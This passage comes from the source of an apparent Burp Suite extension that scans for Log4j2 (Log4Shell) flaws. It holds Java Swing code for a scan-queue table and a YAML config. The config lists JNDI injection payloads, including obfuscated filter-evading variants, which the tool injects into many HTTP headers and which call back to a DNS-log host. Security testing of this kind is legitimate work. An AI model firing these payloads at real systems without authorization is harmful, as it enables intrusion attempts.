Ltable; 25 | private JTabbedPane Rtable; 26 | 27 | public ScanQueueTag(IBurpExtenderCallbacks callbacks, JTabbedPane tabs) { 28 | JPanel scanQueue = new JPanel(new BorderLayout()); 29 | 30 | // 主分隔面板 31 | mjSplitPane = new JSplitPane(JSplitPane.VERTICAL_SPLIT); 32 | 33 | // 任务栏面板 34 | Utable = new ScanQueueTag.URLTable(ScanQueueTag.this); 35 | UscrollPane = new JScrollPane(Utable); 36 | 37 | // 请求与响应界面的分隔面板规则 38 | HjSplitPane = new JSplitPane(); 39 | HjSplitPane.setResizeWeight(0.5); 40 | 41 | // 请求的面板 42 | Ltable = new JTabbedPane(); 43 | HRequestTextEditor = callbacks.createMessageEditor(ScanQueueTag.this, false); 44 | Ltable.addTab("Request", HRequestTextEditor.getComponent()); 45 | 46 | // 响应的面板 47 | Rtable = new JTabbedPane(); 48 | HResponseTextEditor = callbacks.createMessageEditor(ScanQueueTag.this, false); 49 | Rtable.addTab("Response", HResponseTextEditor.getComponent()); 50 | 51 | // 自定义程序UI组件 52 | HjSplitPane.add(Ltable, "left"); 53 | HjSplitPane.add(Rtable, "right"); 54 | 55 | mjSplitPane.add(UscrollPane, "left"); 56 | mjSplitPane.add(HjSplitPane, "right"); 57 | 58 | scanQueue.add(mjSplitPane); 59 | tabs.addTab("扫描队列", scanQueue); 60 | } 61 | 62 | @Override 63 | public IHttpService getHttpService() { 64 | return currentlyDisplayedItem.getHttpService(); 65 | } 66 | 67 | @Override 68 | public byte[] getRequest() { 69 | return currentlyDisplayedItem.getRequest(); 70 | } 71 | 72 | @Override 73 | public byte[] getResponse() { 74 | return currentlyDisplayedItem.getResponse(); 75 | } 76 | 77 | @Override 78 | public int getRowCount() { 79 | return this.Udatas.size(); 80 | } 81 | 82 | @Override 83 | public int getColumnCount() { 84 | return 8; 85 | } 86 | 87 | @Override 88 | public String getColumnName(int columnIndex) { 89 | switch (columnIndex) { 90 | case 0: 91 | return "#"; 92 | case 1: 93 | return "extensionMethod"; 94 | case 2: 95 | return "requestMethod"; 96 | case 3: 97 | return "url"; 98 | case 4: 99 | return "statusCode"; 100 | case 5: 101 | return "issue"; 102 | case 6: 103 | return "startTime"; 104 | case 7: 105 | return "endTime"; 106 | } 107 | return null; 108 | } 109 | 110 | @Override 111 | public Class getColumnClass(int columnIndex) { 112 | return String.class; 113 | } 114 | 115 | @Override 116 | public Object getValueAt(int rowIndex, int columnIndex) { 117 | ScanQueueTag.TablesData datas = this.Udatas.get(rowIndex); 118 | switch (columnIndex) { 119 | case 0: 120 | return datas.id; 121 | case 1: 122 | return datas.extensionMethod; 123 | case 2: 124 | return datas.requestMethod; 125 | case 3: 126 | return datas.url; 127 | case 4: 128 | return datas.statusCode; 129 | case 5: 130 | return datas.issue; 131 | case 6: 132 | return datas.startTime; 133 | case 7: 134 | return datas.endTime; 135 | } 136 | return null; 137 | } 138 | 139 | /** 140 | * 新增任务至任务栏面板 141 | * 142 | * @param extensionMethod 143 | * @param requestMethod 144 | * @param url 145 | * @param statusCode 146 | * @param issue 147 | * @param requestResponse 148 | * @return int id 149 | */ 150 | public int add(String extensionMethod, String requestMethod, String url, 151 | String statusCode, String issue, IHttpRequestResponse requestResponse) { 152 | synchronized (this.Udatas) { 153 | Date d = new Date(); 154 | SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); 155 | String startTime = sdf.format(d); 156 | 157 | int id = this.Udatas.size(); 158 | this.Udatas.add( 159 | new TablesData( 160 | id, 161 | extensionMethod, 162 | requestMethod, 163 | url, 164 | statusCode, 165 | issue, 166 | startTime, 167 | "", 168 | requestResponse 169 | ) 170 | ); 171 | fireTableRowsInserted(id, id); 172 | return id; 173 | } 174 | } 175 | 176 | /** 177 | * 更新任务状态至任务栏面板 178 | * 179 | * @param id 180 | * @param extensionMethod 181 | * @param requestMethod 182 | * @param url 183 | * @param statusCode 184 | * @param issue 185 | * @param requestResponse 186 | * @return int id 187 | */ 188 | public int save(int id, String extensionMethod, String requestMethod, 189 | String url, String statusCode, String issue, 190 | IHttpRequestResponse requestResponse) { 191 | ScanQueueTag.TablesData dataEntry = ScanQueueTag.this.Udatas.get(id); 192 | String startTime = dataEntry.startTime; 193 | 194 | Date d = new Date(); 195 | SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); 196 | String endTime = sdf.format(d); 197 | 198 | synchronized (this.Udatas) { 199 | this.Udatas.set( 200 | id, 201 | new TablesData( 202 | id, 203 | extensionMethod, 204 | requestMethod, 205 | url, 206 | statusCode, 207 | issue, 208 | startTime, 209 | endTime, 210 | requestResponse 211 | ) 212 | ); 213 | fireTableRowsUpdated(id, id); 214 | return id; 215 | } 216 | } 217 | 218 | /** 219 | * 自定义Table 220 | */ 221 | private class URLTable extends JTable { 222 | public URLTable(TableModel tableModel) { 223 | super(tableModel); 224 | } 225 | 226 | public void changeSelection(int row, int col, boolean toggle, boolean extend) { 227 | ScanQueueTag.TablesData dataEntry = ScanQueueTag.this.Udatas.get(convertRowIndexToModel(row)); 228 | HRequestTextEditor.setMessage(dataEntry.requestResponse.getRequest(), true); 229 | HResponseTextEditor.setMessage(dataEntry.requestResponse.getResponse(), false); 230 | currentlyDisplayedItem = dataEntry.requestResponse; 231 | super.changeSelection(row, col, toggle, extend); 232 | } 233 | } 234 | 235 | /** 236 | * 界面显示数据存储模块 237 | */ 238 | private static class TablesData { 239 | final int id; 240 | final String extensionMethod; 241 | final String requestMethod; 242 | final String url; 243 | final String statusCode; 244 | final String issue; 245 | final String startTime; 246 | final String endTime; 247 | final IHttpRequestResponse requestResponse; 248 | 249 | public TablesData(int id, String extensionMethod, String requestMethod, 250 | String url, String statusCode, String issue, 251 | String startTime, String endTime, IHttpRequestResponse requestResponse) { 252 | this.id = id; 253 | this.extensionMethod = extensionMethod; 254 | this.requestMethod = requestMethod; 255 | this.url = url; 256 | this.statusCode = statusCode; 257 | this.issue = issue; 258 | this.startTime = startTime; 259 | this.endTime = endTime; 260 | this.requestResponse = requestResponse; 261 | } 262 | } 263 | } -------------------------------------------------------------------------------- /src/main/java/burp/Ui/Tags.java: -------------------------------------------------------------------------------- 1 | package burp.Ui; 2 | 3 | import java.awt.*; 4 | import javax.swing.JTabbedPane; 5 | 6 | import burp.ITab; 7 | import burp.IBurpExtenderCallbacks; 8 | 9 | import burp.Bootstrap.YamlReader; 10 | 11 | public class Tags implements ITab { 12 | private final JTabbedPane tabs; 13 | 14 | private String tagName; 15 | 16 | private BaseSettingTag baseSettingTag; 17 | private ScanQueueTag scanQueueTag; 18 | 19 | public Tags(IBurpExtenderCallbacks callbacks, String name) { 20 | this.tagName = name; 21 | 22 | tabs = new JTabbedPane(); 23 | 24 | YamlReader yamlReader = YamlReader.getInstance(callbacks); 25 | 26 | // 扫描队列-窗口 27 | ScanQueueTag scanQueueTag = new ScanQueueTag(callbacks, tabs); 28 | this.scanQueueTag = scanQueueTag; 29 | 30 | // 基本设置-窗口 31 | BaseSettingTag baseSettingTag = new BaseSettingTag(callbacks, tabs, yamlReader); 32 | this.baseSettingTag = baseSettingTag; 33 | 34 | // 自定义组件-导入 35 | callbacks.customizeUiComponent(tabs); 36 | 37 | // 将自定义选项卡添加到Burp的UI 38 | callbacks.addSuiteTab(Tags.this); 39 | } 40 | 41 | /** 42 | * 基础设置tag 43 | * 44 | * @return 45 | */ 46 | public BaseSettingTag getBaseSettingTagClass() { 47 | return this.baseSettingTag; 48 | } 49 | 50 | /** 51 | * 扫描队列tag 52 | * 可通过该类提供的方法,进行tag任务的添加与修改 53 | * 54 | * @return 55 | */ 56 | public ScanQueueTag getScanQueueTagClass() { 57 | return this.scanQueueTag; 58 | } 59 | 60 | @Override 61 | public String getTabCaption() { 62 | return this.tagName; 63 | } 64 | 65 | @Override 66 | public Component getUiComponent() { 67 | return this.tabs; 68 | } 69 | } -------------------------------------------------------------------------------- /src/main/resources/config.yml: -------------------------------------------------------------------------------- 1 | # 插件启动项 2 | isStart: true 3 | 4 | # 消息等级 5 | # 用于插件扫描队列界面的显示 6 | # ALL = 显示所有消息 7 | # INFO = 只显示一般信息, 会屏蔽掉一些没用的信息 8 | # PIVOTAL = 只显示关键信息,只显示所有前缀带"[+]/[-]/[x]"的信息 9 | # 注: 乱输等于 PIVOTAL 10 | messageLevel: "ALL" 11 | 12 | # 扫描配置 13 | scan: 14 | # 问题数量 15 | # 表示可以接收同一个站点多少个问题个数 16 | # 超过次数以后就不在对该站点进行扫描了 17 | # 0 表示无限次接收 18 | issueNumber: 1 19 | # 站点扫描次数 20 | # 超过次数以后就不在对该站点进行扫描了 21 | # 同个站点,个人建议扫描10次就差不多了 22 | # 0 表示无限次扫描 23 | siteScanNumber: 0 24 | # 域名扫描规则 25 | domainName: 26 | # 域名黑名单 27 | # 注: 黑名单优先级最高 28 | # 注: 为空表示关闭该功能 29 | # 使用规则: 30 | # 1. 过滤某个域名: www.domain1.com 31 | # 2. 过滤某个域名的全部子域名: *.domain2.com 32 | # 3. 过滤某个域名的部分子域名: a.*.domain2.com/*.a.*.domain2.com 33 | # 使用方法: 34 | # blacklist: 35 | # - "www.domain1.com" 36 | # - "*.domain2.com" 37 | blacklist: 38 | - "*.dnslog.cn" 39 | - "*.ceye.io" 40 | - "*.fofa.so" 41 | - "*.shodan.io" 42 | - "*.github.com" 43 | # 域名白名单 44 | # 注: 黑名单优先级最高 45 | # 注: 为空表示关闭该功能 46 | # 使用规则: 47 | # 1. 只扫描某个域名: www.domain1.com 48 | # 2. 只扫描某个域名的全部子域名: *.domain2.com 49 | # 3. 只扫描某个域名的部分子域名: a.*.domain2.com/*.a.*.domain2.com 50 | # 使用方法: 51 | # whitelist: 52 | # - "www.domain1.com" 53 | # - "*.domain2.com" 54 | whitelist: 55 | # 扫描类型 56 | type: 57 | # 用于判断是否扫描 get请求 58 | isScanGet: true 59 | # 用于判断是否扫描 post请求 60 | isScanPost: true 61 | # 用于判断是否扫描 cookie请求 62 | isScanCookie: false 63 | # 用于判断是否将 出现的json 作为扫描参数 64 | isScanJson: true 65 | # 用于判断是否将 出现的xml 作为扫描参数 66 | isScanXml: true 67 | # 用于判断是否将 多出来的部分消息正文中参数属性值 作为扫描参数(例如上传文件的名称) 68 | isScanParamMultipart: true 69 | # 用于判断空参数是否是扫描 70 | # 例如: GET /xxx HTTP/1.1 71 | # 其它的啥参数也没有了, 这时候开启这个选项会去构造一次请求进行漏洞扫描 72 | isScanNullParameter: true 73 | 74 | # url黑名单后缀 75 | # url的后缀出现这些字段的都不进行测试 76 | urlBlackListSuffix: 77 | config: 78 | isStart: true 79 | suffixList: 80 | - "3g2" 81 | - "3gp" 82 | - "7z" 83 | - "aac" 84 | - "abw" 85 | - "aif" 86 | - "aifc" 87 | - "aiff" 88 | - "arc" 89 | - "au" 90 | - "avi" 91 | - "azw" 92 | - "bin" 93 | - "bmp" 94 | - "bz" 95 | - "bz2" 96 | - "cmx" 97 | - "cod" 98 | - "csh" 99 | - "css" 100 | - "csv" 101 | - "doc" 102 | - "docx" 103 | - "eot" 104 | - "epub" 105 | - "gif" 106 | - "gz" 107 | - "ico" 108 | - "ics" 109 | - "ief" 110 | - "jar" 111 | - "jfif" 112 | - "jpe" 113 | - "jpeg" 114 | - "jpg" 115 | - "m3u" 116 | - "mid" 117 | - "midi" 118 | - "mjs" 119 | - "mp2" 120 | - "mp3" 121 | - "mpa" 122 | - "mpe" 123 | - "mpeg" 124 | - "mpg" 125 | - "mpkg" 126 | - "mpp" 127 | - "mpv2" 128 | - "odp" 129 | - "ods" 130 | - "odt" 131 | - "oga" 132 | - "ogv" 133 | - "ogx" 134 | - "otf" 135 | - "pbm" 136 | - "pdf" 137 | - "pgm" 138 | - "png" 139 | - "pnm" 140 | - "ppm" 141 | - "ppt" 142 | - "pptx" 143 | - "ra" 144 | - "ram" 145 | - "rar" 146 | - "ras" 147 | - "rgb" 148 | - "rmi" 149 | - "rtf" 150 | - "snd" 151 | - "svg" 152 | - "swf" 153 | - "tar" 154 | - "tif" 155 | - "tiff" 156 | - "ttf" 157 | - "vsd" 158 | - "wav" 159 | - "weba" 160 | - "webm" 161 | - "webp" 162 | - "woff" 163 | - "woff2" 164 | - "xbm" 165 | - "xls" 166 | - "xlsx" 167 | - "xpm" 168 | - "xul" 169 | - "xwd" 170 | - "zip" 171 | - "js" 172 | - "wmv" 173 | - "asf" 174 | - "asx" 175 | - "rm" 176 | - "rmvb" 177 | - "mp4" 178 | - "mov" 179 | - "m4v" 180 | - "dat" 181 | - "mkv" 182 | - "flv" 183 | - "vob" 184 | - "txt" 185 | - "php" 186 | - "asp" 187 | 188 | # 黑名单参数 189 | # 请求出现这些字段的都不进行测试 190 | # 注: 为空表示关闭该功能 191 | blackListParameters: 192 | - "callback" 193 | - "referer" 194 | - "_" 195 | - "_t" 196 | - "ts" 197 | 198 | # 应用程序配置 199 | application: 200 | # 远程命令扩展 201 | remoteCmdExtension: 202 | config: 203 | # 插件启动项 204 | isStart: true 205 | # 程序最大执行时间 206 | # 指的是请求的基础最大执行时间 207 | # 实际上会根据poc的增加自动增加时间 208 | maxExecutionTime: 30 209 | # 提供商 210 | # 声明使用 Application.RemoteCmdExtension.ExtensionMethod 的哪个类,为该扩展提供服务 211 | provider: "RemoteCmdScan" 212 | # 漏洞名称 213 | issueName: "log4j2-RemoteCmd" 214 | # 表示进行漏洞扫描的header头 215 | # 添加以后每个请求都会自动带上这些header进行漏洞扫描 216 | # 添加这些header头,并不会产生额外的请求,放心添加 217 | # 注: 为空表示关闭该功能 218 | headers: 219 | - "Accept" 220 | - "User-Agent" 221 | - "X-Client-IP" 222 | - "X-Remote-IP" 223 | - "X-Remote-Addr" 224 | - "X-Forwarded-For" 225 | - "X-Originating-IP" 226 | - "CF-Connecting_IP" 227 | - "True-Client-IP" 228 | - "Originating-IP" 229 | - "X-Real-IP" 230 | - "X-Client-IP" 231 | - "Client-IP" 232 | - "X-Wap-Profile" 233 | - "X-Api-Version" 234 | - "If-Modified-Since" 235 | payloads: 236 | - "${jndi:dns://dnslog-url/t}" 237 | - "${jndi:ldap://dnslog-url/t}" 238 | - "${jndi:rmi://dnslog-url/t}" 239 | - "${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://dnslog-url/t}" 240 | - "${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://dnslog-url/t}" 241 | 242 | # dnsLog模块 243 | dnsLogModule: 244 | # 提供商 245 | # 声明使用 DnsLogModule.ExtensionMethod 的哪个类,为该扩展提供服务 246 | # 目前集成方法: 247 | # DnsLogCn = http://dnslog.cn的接口 248 | # BurpDnsLog = burp自带的dnslog接口 249 | # Ceye = http://ceye.io的接口 250 | provider: "DnsLogCn" 251 | # 其它数据,用于一些需要验证接口取值使用的 252 | # 注意: key=value;为一个参数 253 | # 例如: 254 | # a=1; b=2; c=3; 255 | # Ceye的配置等于: token=xxx;Identifier=xxxx.ceye.io; 256 | other: "token=xxxxxxxxxxxx;Identifier=xxx.ceye.io;" --------------------------------------------------------------------------------